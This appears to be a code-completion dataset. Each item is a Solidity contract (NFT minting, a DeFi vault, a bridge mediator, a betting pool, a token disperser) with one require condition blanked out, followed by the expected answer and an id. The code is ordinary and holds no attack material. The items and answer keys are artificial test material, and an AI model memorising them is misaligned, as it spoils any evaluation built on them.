pragma solidity ^0.8.0; contract KitPics is Ownable, ERC721Enumerable, ERC721Burnable { using Counters for Counters.Counter; event Mint(address indexed owner, uint256 indexed tokenId); Counters.Counter public _tokenIdTracker; bytes32 immutable public root; uint256 public maxTokens = 5555; uint256 public constant MINT_FEE = 6 * 10**16; uint256 public constant MAX_MINT_COUNT = 25; string private _baseTokenURI = "https://kitpics.art/kits/"; bool public mintEnabled = false; // open minting in general bool public whitelistMintEnabled = false; // open minting just for whitelist bool public whitelistRemoved = false; // to be used if a while after mint there are still unclaimed whitelist slots constructor(bytes32 merkleroot, uint256 whitelistSize, uint256 _maxTokens) ERC721("KitPics", "KIT") { } function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string memory baseURI) public onlyOwner { } function mint(uint256 _count) public payable { uint256 nextId = _tokenIdTracker.current(); require(_count <= MAX_MINT_COUNT, "Cannot mint more than max per transaction"); require(<FILL_ME>) require(msg.value >= MINT_FEE * _count, "Price not met"); require(mintEnabled, "Mint must be enabled"); for (uint256 i = 0; i < _count; i++) { _mintSingle(); } } function _mintSingle() private { } function whitelistMint(address account, uint256 tokenId, bytes32[] calldata proof) public payable { } function _leaf(address account, uint256 tokenId) internal pure returns (bytes32) { } function _verify(bytes32 leaf, bytes32[] memory proof) internal view returns (bool) { } function withdraw() public onlyOwner { } function toggleMint() public onlyOwner { } function toggleWhitelistMint() public onlyOwner { } function toggleWhitelistRemoved() public onlyOwner { } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override(ERC721, ERC721Enumerable) { } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) { } }
nextId+_count<=maxTokens,"Supply limit reached"
371,105
nextId+_count<=maxTokens
"HidingVault: token is not recoverable"
// SPDX-License-Identifier: MIT pragma solidity 0.8.6; import "./LibHidingVault.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; /** * @title KeeperDAO's HidingVault * @author KeeperDAO * @dev This contract encapsulates a DeFi position, this contract * and is deployed for each user. A user can deploy multiple Hiding Vaults * if he/she wants to isolate their compound positions from each other. */ contract HidingVault { using SafeERC20 for IERC20; constructor() { } receive () external payable {} /** * @notice allows the owner of the contract to recover non-blacklisted tokens. */ function recoverTokens(address payable _to, address _token, uint256 _amount) external { require(_to != address(0), "HidingVault: _to cannot be 0x0"); require(<FILL_ME>) require( LibHidingVault.state().nft.ownerOf(uint256(uint160(address(this)))) == msg.sender, "HidingVault: caller is not the owner" ); if (_token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) { (bool success,) = _to.call{ value: _amount }(""); require(success, "Transfer Failed"); } else { IERC20(_token).safeTransfer(_to, _amount); } } /** * @notice find implementation for function that is called and execute the * function if an implementation is found and return any value. */ fallback() external payable { } }
!LibHidingVault.state().recoverableTokensBlacklist[_token],"HidingVault: token is not recoverable"
371,113
!LibHidingVault.state().recoverableTokensBlacklist[_token]
"HidingVault: caller is not the owner"
// SPDX-License-Identifier: MIT pragma solidity 0.8.6; import "./LibHidingVault.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; /** * @title KeeperDAO's HidingVault * @author KeeperDAO * @dev This contract encapsulates a DeFi position, this contract * and is deployed for each user. A user can deploy multiple Hiding Vaults * if he/she wants to isolate their compound positions from each other. */ contract HidingVault { using SafeERC20 for IERC20; constructor() { } receive () external payable {} /** * @notice allows the owner of the contract to recover non-blacklisted tokens. */ function recoverTokens(address payable _to, address _token, uint256 _amount) external { require(_to != address(0), "HidingVault: _to cannot be 0x0"); require( !LibHidingVault.state().recoverableTokensBlacklist[_token], "HidingVault: token is not recoverable" ); require(<FILL_ME>) if (_token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) { (bool success,) = _to.call{ value: _amount }(""); require(success, "Transfer Failed"); } else { IERC20(_token).safeTransfer(_to, _amount); } } /** * @notice find implementation for function that is called and execute the * function if an implementation is found and return any value. */ fallback() external payable { } }
LibHidingVault.state().nft.ownerOf(uint256(uint160(address(this))))==msg.sender,"HidingVault: caller is not the owner"
371,113
LibHidingVault.state().nft.ownerOf(uint256(uint160(address(this))))==msg.sender
'only the owner can upgrade!'
pragma solidity >=0.6.0 <0.7.0; contract NiftyMediator is BaseRelayRecipient, Ownable, AMBMediator, SignatureChecker { constructor() public { } event tokenSentViaBridge(uint256 _tokenId, bytes32 _msgId); event failedMessageFixed(bytes32 _msgId, address _recipient, uint256 _tokenId); address public niftyRegistry; function setNiftyRegistry(address _address) public onlyOwner { } function niftyToken() private view returns (INiftyToken) { } function niftyInk() private view returns (INiftyInk) { } mapping (bytes32 => uint256) private msgTokenId; mapping (bytes32 => address) private msgRecipient; function _relayToken(uint256 _tokenId) internal returns (bytes32) { } function relayToken(uint256 _tokenId) external returns (bytes32) { require(<FILL_ME>) return _relayToken(_tokenId); } function relayTokenFromSignature(uint256 _tokenId, bytes calldata signature) external returns (bytes32) { } function fixFailedMessage(bytes32 _msgId) external { } function versionRecipient() external virtual view override returns (string memory) { } function setTrustedForwarder(address _trustedForwarder) public onlyOwner { } function getTrustedForwarder() public view returns(address) { } function _msgSender() internal override(BaseRelayRecipient, Context) view returns (address payable) { } }
_msgSender()==niftyToken().ownerOf(_tokenId),'only the owner can upgrade!'
371,298
_msgSender()==niftyToken().ownerOf(_tokenId)
"only the owner can upgrade!"
pragma solidity >=0.6.0 <0.7.0; contract NiftyMediator is BaseRelayRecipient, Ownable, AMBMediator, SignatureChecker { constructor() public { } event tokenSentViaBridge(uint256 _tokenId, bytes32 _msgId); event failedMessageFixed(bytes32 _msgId, address _recipient, uint256 _tokenId); address public niftyRegistry; function setNiftyRegistry(address _address) public onlyOwner { } function niftyToken() private view returns (INiftyToken) { } function niftyInk() private view returns (INiftyInk) { } mapping (bytes32 => uint256) private msgTokenId; mapping (bytes32 => address) private msgRecipient; function _relayToken(uint256 _tokenId) internal returns (bytes32) { } function relayToken(uint256 _tokenId) external returns (bytes32) { } function relayTokenFromSignature(uint256 _tokenId, bytes calldata signature) external returns (bytes32) { address _owner = niftyToken().ownerOf(_tokenId); bytes32 messageHash = keccak256(abi.encodePacked(byte(0x19), byte(0), address(this), _owner, _tokenId)); bool isOwnerSignature = checkSignature(messageHash, signature, _owner); require(<FILL_ME>) return _relayToken(_tokenId); } function fixFailedMessage(bytes32 _msgId) external { } function versionRecipient() external virtual view override returns (string memory) { } function setTrustedForwarder(address _trustedForwarder) public onlyOwner { } function getTrustedForwarder() public view returns(address) { } function _msgSender() internal override(BaseRelayRecipient, Context) view returns (address payable) { } }
isOwnerSignature||!checkSignatureFlag,"only the owner can upgrade!"
371,298
isOwnerSignature||!checkSignatureFlag
null
pragma solidity >=0.6.0 <0.7.0; contract NiftyMediator is BaseRelayRecipient, Ownable, AMBMediator, SignatureChecker { constructor() public { } event tokenSentViaBridge(uint256 _tokenId, bytes32 _msgId); event failedMessageFixed(bytes32 _msgId, address _recipient, uint256 _tokenId); address public niftyRegistry; function setNiftyRegistry(address _address) public onlyOwner { } function niftyToken() private view returns (INiftyToken) { } function niftyInk() private view returns (INiftyInk) { } mapping (bytes32 => uint256) private msgTokenId; mapping (bytes32 => address) private msgRecipient; function _relayToken(uint256 _tokenId) internal returns (bytes32) { } function relayToken(uint256 _tokenId) external returns (bytes32) { } function relayTokenFromSignature(uint256 _tokenId, bytes calldata signature) external returns (bytes32) { } function fixFailedMessage(bytes32 _msgId) external { require(msg.sender == address(bridgeContract())); require(<FILL_ME>) require(!messageFixed[_msgId]); address _recipient = msgRecipient[_msgId]; uint256 _tokenId = msgTokenId[_msgId]; messageFixed[_msgId] = true; niftyToken().unlock(_tokenId, _recipient); emit failedMessageFixed(_msgId, _recipient, _tokenId); } function versionRecipient() external virtual view override returns (string memory) { } function setTrustedForwarder(address _trustedForwarder) public onlyOwner { } function getTrustedForwarder() public view returns(address) { } function _msgSender() internal override(BaseRelayRecipient, Context) view returns (address payable) { } }
bridgeContract().messageSender()==mediatorContractOnOtherSide()
371,298
bridgeContract().messageSender()==mediatorContractOnOtherSide()
null
pragma solidity >=0.6.0 <0.7.0; contract NiftyMediator is BaseRelayRecipient, Ownable, AMBMediator, SignatureChecker { constructor() public { } event tokenSentViaBridge(uint256 _tokenId, bytes32 _msgId); event failedMessageFixed(bytes32 _msgId, address _recipient, uint256 _tokenId); address public niftyRegistry; function setNiftyRegistry(address _address) public onlyOwner { } function niftyToken() private view returns (INiftyToken) { } function niftyInk() private view returns (INiftyInk) { } mapping (bytes32 => uint256) private msgTokenId; mapping (bytes32 => address) private msgRecipient; function _relayToken(uint256 _tokenId) internal returns (bytes32) { } function relayToken(uint256 _tokenId) external returns (bytes32) { } function relayTokenFromSignature(uint256 _tokenId, bytes calldata signature) external returns (bytes32) { } function fixFailedMessage(bytes32 _msgId) external { require(msg.sender == address(bridgeContract())); require(bridgeContract().messageSender() == mediatorContractOnOtherSide()); require(<FILL_ME>) address _recipient = msgRecipient[_msgId]; uint256 _tokenId = msgTokenId[_msgId]; messageFixed[_msgId] = true; niftyToken().unlock(_tokenId, _recipient); emit failedMessageFixed(_msgId, _recipient, _tokenId); } function versionRecipient() external virtual view override returns (string memory) { } function setTrustedForwarder(address _trustedForwarder) public onlyOwner { } function getTrustedForwarder() public view returns(address) { } function _msgSender() internal override(BaseRelayRecipient, Context) view returns (address payable) { } }
!messageFixed[_msgId]
371,298
!messageFixed[_msgId]
null
pragma solidity >=0.6.0 <0.7.0; contract NiftyToken is BaseRelayRecipient, ERC721, SignatureChecker { constructor() ERC721("🎨 Nifty.Ink", "🎨") public { } using Counters for Counters.Counter; Counters.Counter private _tokenIds; using SafeMath for uint256; address public niftyRegistry; function setNiftyRegistry(address _address) public onlyOwner { } function niftyInk() private view returns (INiftyInk) { } event mintedInk(uint256 id, string inkUrl, address to); event boughtInk(uint256 id, string inkUrl, address buyer, uint256 price); event boughtToken(uint256 id, string inkUrl, address buyer, uint256 price); event lockedInk(uint256 id, address recipient); event unlockedInk(uint256 id, address recipient); mapping (string => EnumerableSet.UintSet) private _inkTokens; mapping (uint256 => string) public tokenInk; mapping (uint256 => uint256) public tokenPrice; function inkTokenCount(string memory _inkUrl) public view returns(uint256) { } function _mintInkToken(address to, string memory inkUrl, string memory jsonUrl) internal returns (uint256) { } function firstMint(address to, string calldata inkUrl, string calldata jsonUrl) external returns (uint256) { require(<FILL_ME>) _mintInkToken(to, inkUrl, jsonUrl); } function mint(address to, string memory _inkUrl) public returns (uint256) { } function mintFromSignature(address to, string memory _inkUrl, bytes memory signature) public returns (uint256) { } function lock(uint256 _tokenId) external { } function unlock(uint256 _tokenId, address _recipient) external { } function buyInk(string memory _inkUrl) public payable returns (uint256) { } function setTokenPrice(uint256 _tokenId, uint256 _price) public returns (uint256) { } function buyToken(uint256 _tokenId) public payable { } function inkTokenByIndex(string memory inkUrl, uint256 index) public view returns (uint256) { } function versionRecipient() external virtual view override returns (string memory) { } function setTrustedForwarder(address _trustedForwarder) public onlyOwner { } function getTrustedForwarder() public view returns(address) { } function _msgSender() internal override(BaseRelayRecipient, Context) view returns (address payable) { } }
_msgSender()==INiftyRegistry(niftyRegistry).inkAddress()
371,300
_msgSender()==INiftyRegistry(niftyRegistry).inkAddress()
"this ink is over the limit!"
pragma solidity >=0.6.0 <0.7.0; contract NiftyToken is BaseRelayRecipient, ERC721, SignatureChecker { constructor() ERC721("🎨 Nifty.Ink", "🎨") public { } using Counters for Counters.Counter; Counters.Counter private _tokenIds; using SafeMath for uint256; address public niftyRegistry; function setNiftyRegistry(address _address) public onlyOwner { } function niftyInk() private view returns (INiftyInk) { } event mintedInk(uint256 id, string inkUrl, address to); event boughtInk(uint256 id, string inkUrl, address buyer, uint256 price); event boughtToken(uint256 id, string inkUrl, address buyer, uint256 price); event lockedInk(uint256 id, address recipient); event unlockedInk(uint256 id, address recipient); mapping (string => EnumerableSet.UintSet) private _inkTokens; mapping (uint256 => string) public tokenInk; mapping (uint256 => uint256) public tokenPrice; function inkTokenCount(string memory _inkUrl) public view returns(uint256) { } function _mintInkToken(address to, string memory inkUrl, string memory jsonUrl) internal returns (uint256) { } function firstMint(address to, string calldata inkUrl, string calldata jsonUrl) external returns (uint256) { } function mint(address to, string memory _inkUrl) public returns (uint256) { uint256 _inkId = niftyInk().inkIdByInkUrl(_inkUrl); require(_inkId > 0, "this ink does not exist!"); (, address _artist, string memory _jsonUrl, , , uint256 _limit, ) = niftyInk().inkInfoById(_inkId); require(_artist == _msgSender(), "only the artist can mint!"); require(<FILL_ME>) uint256 tokenId = _mintInkToken(to, _inkUrl, _jsonUrl); return tokenId; } function mintFromSignature(address to, string memory _inkUrl, bytes memory signature) public returns (uint256) { } function lock(uint256 _tokenId) external { } function unlock(uint256 _tokenId, address _recipient) external { } function buyInk(string memory _inkUrl) public payable returns (uint256) { } function setTokenPrice(uint256 _tokenId, uint256 _price) public returns (uint256) { } function buyToken(uint256 _tokenId) public payable { } function inkTokenByIndex(string memory inkUrl, uint256 index) public view returns (uint256) { } function versionRecipient() external virtual view override returns (string memory) { } function setTrustedForwarder(address _trustedForwarder) public onlyOwner { } function getTrustedForwarder() public view returns(address) { } function _msgSender() internal override(BaseRelayRecipient, Context) view returns (address payable) { } }
inkTokenCount(_inkUrl)<_limit||_limit==0,"this ink is over the limit!"
371,300
inkTokenCount(_inkUrl)<_limit||_limit==0
"only the artist can mint!"
pragma solidity >=0.6.0 <0.7.0; contract NiftyToken is BaseRelayRecipient, ERC721, SignatureChecker { constructor() ERC721("🎨 Nifty.Ink", "🎨") public { } using Counters for Counters.Counter; Counters.Counter private _tokenIds; using SafeMath for uint256; address public niftyRegistry; function setNiftyRegistry(address _address) public onlyOwner { } function niftyInk() private view returns (INiftyInk) { } event mintedInk(uint256 id, string inkUrl, address to); event boughtInk(uint256 id, string inkUrl, address buyer, uint256 price); event boughtToken(uint256 id, string inkUrl, address buyer, uint256 price); event lockedInk(uint256 id, address recipient); event unlockedInk(uint256 id, address recipient); mapping (string => EnumerableSet.UintSet) private _inkTokens; mapping (uint256 => string) public tokenInk; mapping (uint256 => uint256) public tokenPrice; function inkTokenCount(string memory _inkUrl) public view returns(uint256) { } function _mintInkToken(address to, string memory inkUrl, string memory jsonUrl) internal returns (uint256) { } function firstMint(address to, string calldata inkUrl, string calldata jsonUrl) external returns (uint256) { } function mint(address to, string memory _inkUrl) public returns (uint256) { } function mintFromSignature(address to, string memory _inkUrl, bytes memory signature) public returns (uint256) { uint256 _inkId = niftyInk().inkIdByInkUrl(_inkUrl); require(_inkId > 0, "this ink does not exist!"); uint256 _count = inkTokenCount(_inkUrl); (, address _artist, string memory _jsonUrl, , , uint256 _limit, ) = niftyInk().inkInfoById(_inkId); require(_count < _limit || _limit == 0, "this ink is over the limit!"); bytes32 messageHash = keccak256(abi.encodePacked(byte(0x19), byte(0), address(this), to, _inkUrl, _count)); bool isArtistSignature = checkSignature(messageHash, signature, _artist); require(<FILL_ME>) uint256 tokenId = _mintInkToken(to, _inkUrl, _jsonUrl); return tokenId; } function lock(uint256 _tokenId) external { } function unlock(uint256 _tokenId, address _recipient) external { } function buyInk(string memory _inkUrl) public payable returns (uint256) { } function setTokenPrice(uint256 _tokenId, uint256 _price) public returns (uint256) { } function buyToken(uint256 _tokenId) public payable { } function inkTokenByIndex(string memory inkUrl, uint256 index) public view returns (uint256) { } function versionRecipient() external virtual view override returns (string memory) { } function setTrustedForwarder(address _trustedForwarder) public onlyOwner { } function getTrustedForwarder() public view returns(address) { } function _msgSender() internal override(BaseRelayRecipient, Context) view returns (address payable) { } }
isArtistSignature||!checkSignatureFlag,"only the artist can mint!"
371,300
isArtistSignature||!checkSignatureFlag
'only the bridgeMediator can unlock'
pragma solidity >=0.6.0 <0.7.0; contract NiftyToken is BaseRelayRecipient, ERC721, SignatureChecker { constructor() ERC721("🎨 Nifty.Ink", "🎨") public { } using Counters for Counters.Counter; Counters.Counter private _tokenIds; using SafeMath for uint256; address public niftyRegistry; function setNiftyRegistry(address _address) public onlyOwner { } function niftyInk() private view returns (INiftyInk) { } event mintedInk(uint256 id, string inkUrl, address to); event boughtInk(uint256 id, string inkUrl, address buyer, uint256 price); event boughtToken(uint256 id, string inkUrl, address buyer, uint256 price); event lockedInk(uint256 id, address recipient); event unlockedInk(uint256 id, address recipient); mapping (string => EnumerableSet.UintSet) private _inkTokens; mapping (uint256 => string) public tokenInk; mapping (uint256 => uint256) public tokenPrice; function inkTokenCount(string memory _inkUrl) public view returns(uint256) { } function _mintInkToken(address to, string memory inkUrl, string memory jsonUrl) internal returns (uint256) { } function firstMint(address to, string calldata inkUrl, string calldata jsonUrl) external returns (uint256) { } function mint(address to, string memory _inkUrl) public returns (uint256) { } function mintFromSignature(address to, string memory _inkUrl, bytes memory signature) public returns (uint256) { } function lock(uint256 _tokenId) external { } function unlock(uint256 _tokenId, address _recipient) external { require(<FILL_ME>) require(_msgSender() == ownerOf(_tokenId), 'the bridgeMediator does not hold this token'); safeTransferFrom(_msgSender(), _recipient, _tokenId); } function buyInk(string memory _inkUrl) public payable returns (uint256) { } function setTokenPrice(uint256 _tokenId, uint256 _price) public returns (uint256) { } function buyToken(uint256 _tokenId) public payable { } function inkTokenByIndex(string memory inkUrl, uint256 index) public view returns (uint256) { } function versionRecipient() external virtual view override returns (string memory) { } function setTrustedForwarder(address _trustedForwarder) public onlyOwner { } function getTrustedForwarder() public view returns(address) { } function _msgSender() internal override(BaseRelayRecipient, Context) view returns (address payable) { } }
_msgSender()==INiftyRegistry(niftyRegistry).bridgeMediatorAddress(),'only the bridgeMediator can unlock'
371,300
_msgSender()==INiftyRegistry(niftyRegistry).bridgeMediatorAddress()
'Approval failed'
pragma solidity ^0.5.0; /** * @title TokenMintERC20Token * @author TokenMint (visit https://tokenmint.io) * * @dev Standard ERC20 token with burning and optional functions implemented. * For full specification of ERC-20 standard see: * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md */ contract TokenMintERC20Token is ERC20 { string private _name; string private _symbol; uint8 private _decimals; uint8 private _platform_fees = 1; address private _platform_fees_receiver; /** * @dev Constructor. * @param name name of the token * @param symbol symbol of the token, 3-4 chars is recommended * @param decimals number of decimal places of one token unit, 18 is widely used * @param totalSupply total supply of tokens in lowest units (depending on decimals) * @param tokenOwnerAddress address that gets 100% of token supply */ constructor(string memory name, string memory symbol, uint8 decimals, uint256 totalSupply, address payable feeReceiver, address tokenOwnerAddress) public payable { } /** * @dev Transfer tokens. * @param recipient address of token receiver. * @param amount The amount of token to be transfered. */ function transfer(address recipient, uint256 amount) public returns (bool) { } // optional functions from ERC20 stardard /** * @return the name of the token. */ function name() public view returns (string memory) { } /** * @return the symbol of the token. */ function symbol() public view returns (string memory) { } /** * @return the number of decimals of the token. */ function decimals() public view returns (uint8) { } } contract DeganDarkBundles is ReentrancyGuard { uint256 public bundleId = 1; address public owner; /* Bundle Token Address */ TokenMintERC20Token public bundle_address; /* Variable to store the fee collected */ uint256 public fee_collected; /* Last Created Informations*/ uint256 public lastcreated; uint256 lastbundlecreated; struct UserBets{ uint256 bundles; uint256 amounts; uint256 prices; bool betted; uint256 balance; uint256 totalbet; bool claimed; uint256 index; } struct User{ uint256[] bundles; //string username; uint256 balance; uint256 freebal; //bool active; } struct Data{ address[] user; } struct Bundle{ uint256[20] prices; uint256 startime; uint256 stakingends; uint256 endtime; } mapping(address => mapping(uint256 => UserBets)) bets; mapping(uint256 => Bundle) bundle; mapping(address => User) user; mapping(uint256 => Data) data; constructor(address _bundle_address) public{ } /* Registering the username to the contract */ // function Register(string memory _username) public returns(bool){ // User storage us = user[msg.sender]; // // require(us.active == false,'Existing User'); // us.active = true; // us.username = _username; // return true; // } /* For placing a prediction in the bundle. */ function PlaceBet(uint256 index,uint256 _prices,uint256 _percent,uint256 _bundleId,uint256 _amount) public returns(bool){ require(_bundleId <= bundleId,'Invalid Bundle'); require(<FILL_ME>) Bundle storage b = bundle[_bundleId]; Data storage d = data[_bundleId]; require(b.stakingends >= block.timestamp,'Ended'); User storage us = user[msg.sender]; //require(us.active == true,'Register to participate'); UserBets storage u = bets[msg.sender][_bundleId]; require(u.bundles == 0,'Already Betted'); if(u.betted == false){ u.balance = bundle_address.balanceOf(msg.sender); u.betted = true; } else{ require(SafeMath.add(u.totalbet,_amount) <= u.balance,'Threshold Reached'); } us.bundles.push(_bundleId); us.balance = SafeMath.add(us.balance,_amount); u.bundles = _percent; u.prices = _prices; u.amounts = _amount; u.index = index; u.totalbet = u.totalbet + _amount; d.user.push(msg.sender); bundle_address.transferFrom(msg.sender,address(this),_amount); return true; } /* Update user balance. Max 50% can be changed */ function updatebal(address _user,uint256 _bundleId,uint256 _reward,bool _isPositive) public returns(bool){ } /* Update the fee incurred */ function updateFee(uint256 r,uint256 amt) internal{ } /* Create a new bundle after 1 days */ function createBundle(uint256[20] memory _prices) public returns(bool){ } /* Update new owner of the contract */ function updateowner(address new_owner) public returns(bool){ } /* Update the timestamp of the last creted bundle. this function cannot change the bundle time. Last created variable is for display sake. */ function updatetime(uint256 _timestamp) public returns(bool){ } /* Allows the user to withdraw his claimable balance from the contract */ function withdraw() public nonReentrant returns(bool){ } /* Fetch the information about user. His claimable balance, fixed balance & stuff */ function fetchUser(address _user) public view returns(uint256[] memory _bundles,uint256 claimable,uint256 staked_balance){ } /* Fetch the information of a BundleId */ function fetchBundle(uint256 _bundleId) public view returns(uint256[20] memory _prices,uint256 _start,uint256 _end,uint256 _staking_ends){ } /* Fetch the prediction information of each user in each bundle. Pass bundleId and User Address to get the strike price as well as the amount in 18 decimals */ function fetchUserBets(address _user, uint256 _bundleId) public view returns(uint256 _bundles,uint256 _prices,uint256 _amounts,uint256 balance,uint256 totalbet,uint256 index){ } /* Fetch all the user wallet predicted in a bundleId. Pass bundleId and will return an array of betters */ function fetchUserInBundle(uint256 _bundleId) public view returns(address[] memory _betters){ } /* Only Allow the Developer to withdraw the developer fee */ function collectdeveloperfee() public nonReentrant returns(bool){ } }
bundle_address.allowance(msg.sender,address(this))>=_amount,'Approval failed'
371,353
bundle_address.allowance(msg.sender,address(this))>=_amount
'Threshold Reached'
pragma solidity ^0.5.0; /** * @title TokenMintERC20Token * @author TokenMint (visit https://tokenmint.io) * * @dev Standard ERC20 token with burning and optional functions implemented. * For full specification of ERC-20 standard see: * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md */ contract TokenMintERC20Token is ERC20 { string private _name; string private _symbol; uint8 private _decimals; uint8 private _platform_fees = 1; address private _platform_fees_receiver; /** * @dev Constructor. * @param name name of the token * @param symbol symbol of the token, 3-4 chars is recommended * @param decimals number of decimal places of one token unit, 18 is widely used * @param totalSupply total supply of tokens in lowest units (depending on decimals) * @param tokenOwnerAddress address that gets 100% of token supply */ constructor(string memory name, string memory symbol, uint8 decimals, uint256 totalSupply, address payable feeReceiver, address tokenOwnerAddress) public payable { } /** * @dev Transfer tokens. * @param recipient address of token receiver. * @param amount The amount of token to be transfered. */ function transfer(address recipient, uint256 amount) public returns (bool) { } // optional functions from ERC20 stardard /** * @return the name of the token. */ function name() public view returns (string memory) { } /** * @return the symbol of the token. */ function symbol() public view returns (string memory) { } /** * @return the number of decimals of the token. */ function decimals() public view returns (uint8) { } } contract DeganDarkBundles is ReentrancyGuard { uint256 public bundleId = 1; address public owner; /* Bundle Token Address */ TokenMintERC20Token public bundle_address; /* Variable to store the fee collected */ uint256 public fee_collected; /* Last Created Informations*/ uint256 public lastcreated; uint256 lastbundlecreated; struct UserBets{ uint256 bundles; uint256 amounts; uint256 prices; bool betted; uint256 balance; uint256 totalbet; bool claimed; uint256 index; } struct User{ uint256[] bundles; //string username; uint256 balance; uint256 freebal; //bool active; } struct Data{ address[] user; } struct Bundle{ uint256[20] prices; uint256 startime; uint256 stakingends; uint256 endtime; } mapping(address => mapping(uint256 => UserBets)) bets; mapping(uint256 => Bundle) bundle; mapping(address => User) user; mapping(uint256 => Data) data; constructor(address _bundle_address) public{ } /* Registering the username to the contract */ // function Register(string memory _username) public returns(bool){ // User storage us = user[msg.sender]; // // require(us.active == false,'Existing User'); // us.active = true; // us.username = _username; // return true; // } /* For placing a prediction in the bundle. */ function PlaceBet(uint256 index,uint256 _prices,uint256 _percent,uint256 _bundleId,uint256 _amount) public returns(bool){ require(_bundleId <= bundleId,'Invalid Bundle'); require(bundle_address.allowance(msg.sender,address(this))>=_amount,'Approval failed'); Bundle storage b = bundle[_bundleId]; Data storage d = data[_bundleId]; require(b.stakingends >= block.timestamp,'Ended'); User storage us = user[msg.sender]; //require(us.active == true,'Register to participate'); UserBets storage u = bets[msg.sender][_bundleId]; require(u.bundles == 0,'Already Betted'); if(u.betted == false){ u.balance = bundle_address.balanceOf(msg.sender); u.betted = true; } else{ require(<FILL_ME>) } us.bundles.push(_bundleId); us.balance = SafeMath.add(us.balance,_amount); u.bundles = _percent; u.prices = _prices; u.amounts = _amount; u.index = index; u.totalbet = u.totalbet + _amount; d.user.push(msg.sender); bundle_address.transferFrom(msg.sender,address(this),_amount); return true; } /* Update user balance. Max 50% can be changed */ function updatebal(address _user,uint256 _bundleId,uint256 _reward,bool _isPositive) public returns(bool){ } /* Update the fee incurred */ function updateFee(uint256 r,uint256 amt) internal{ } /* Create a new bundle after 1 days */ function createBundle(uint256[20] memory _prices) public returns(bool){ } /* Update new owner of the contract */ function updateowner(address new_owner) public returns(bool){ } /* Update the timestamp of the last creted bundle. this function cannot change the bundle time. Last created variable is for display sake. */ function updatetime(uint256 _timestamp) public returns(bool){ } /* Allows the user to withdraw his claimable balance from the contract */ function withdraw() public nonReentrant returns(bool){ } /* Fetch the information about user. His claimable balance, fixed balance & stuff */ function fetchUser(address _user) public view returns(uint256[] memory _bundles,uint256 claimable,uint256 staked_balance){ } /* Fetch the information of a BundleId */ function fetchBundle(uint256 _bundleId) public view returns(uint256[20] memory _prices,uint256 _start,uint256 _end,uint256 _staking_ends){ } /* Fetch the prediction information of each user in each bundle. Pass bundleId and User Address to get the strike price as well as the amount in 18 decimals */ function fetchUserBets(address _user, uint256 _bundleId) public view returns(uint256 _bundles,uint256 _prices,uint256 _amounts,uint256 balance,uint256 totalbet,uint256 index){ } /* Fetch all the user wallet predicted in a bundleId. Pass bundleId and will return an array of betters */ function fetchUserInBundle(uint256 _bundleId) public view returns(address[] memory _betters){ } /* Only Allow the Developer to withdraw the developer fee */ function collectdeveloperfee() public nonReentrant returns(bool){ } }
SafeMath.add(u.totalbet,_amount)<=u.balance,'Threshold Reached'
371,353
SafeMath.add(u.totalbet,_amount)<=u.balance
"Limit reached"
//SPDX-License-Identifier: MIT pragma solidity ^0.8.12; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; contract RunForrestNFT is ERC721, Ownable { using Strings for uint256; using Counters for Counters.Counter; Counters.Counter private supply; string public uriPrefix = ""; string public uriSuffix = ".json"; string public baseURI; string public hiddenMetadataUri; uint256 public cost = 0.07 ether; uint256 public whitelistCost = 0.03 ether; uint256 public maxSupply = 9000; uint256 public maxMintAmount = 20; mapping(address => bool) public whitelisted; bool public paused = true; bool public revealed = false; constructor() ERC721("RunForrest NFT", "RUN") { } modifier mintCompliance(uint256 _mintAmount) { } // RunForrest mint function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) { } function _mintRunForrest() private { } function walletOfOwner(address _owner) public view returns (uint256[] memory) { } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { } function setRevealed(bool _state) public onlyOwner { } function setCost(uint256 _newCost) public onlyOwner { } function setWhitelistCost(uint256 _newCost) public onlyOwner { } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner { } function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner { } function setUriPrefix(string memory _uriPrefix) public onlyOwner { } function setUriSuffix(string memory _uriSuffix) public onlyOwner { } function setPaused(bool _state) public onlyOwner { } function whitelistUser(address _user) public onlyOwner { } function addAllWhitelistUser(address[1115] memory _users) public onlyOwner { } function removeWhitelistUser(address _user) public onlyOwner { } function withdraw() public payable onlyOwner { } function giveAway(address[] calldata to) public onlyOwner { for (uint32 i = 0; i < to.length; i++) { require(<FILL_ME>) _safeMint(to[i], supply.current()+1, ""); } } function _baseURI() internal view virtual override returns (string memory) { } }
1+supply.current()<=maxSupply,"Limit reached"
371,398
1+supply.current()<=maxSupply
null
pragma solidity ^0.6.12; interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); } contract Disperse { function disperseTokenSimple(IERC20 token, address[] memory recipients, uint256[] memory values) external { for (uint256 i = 0; i < recipients.length; i++) require(<FILL_ME>) } }
token.transferFrom(msg.sender,recipients[i],values[i]*10**9)
371,418
token.transferFrom(msg.sender,recipients[i],values[i]*10**9)
"Owner cannot be 0 address"
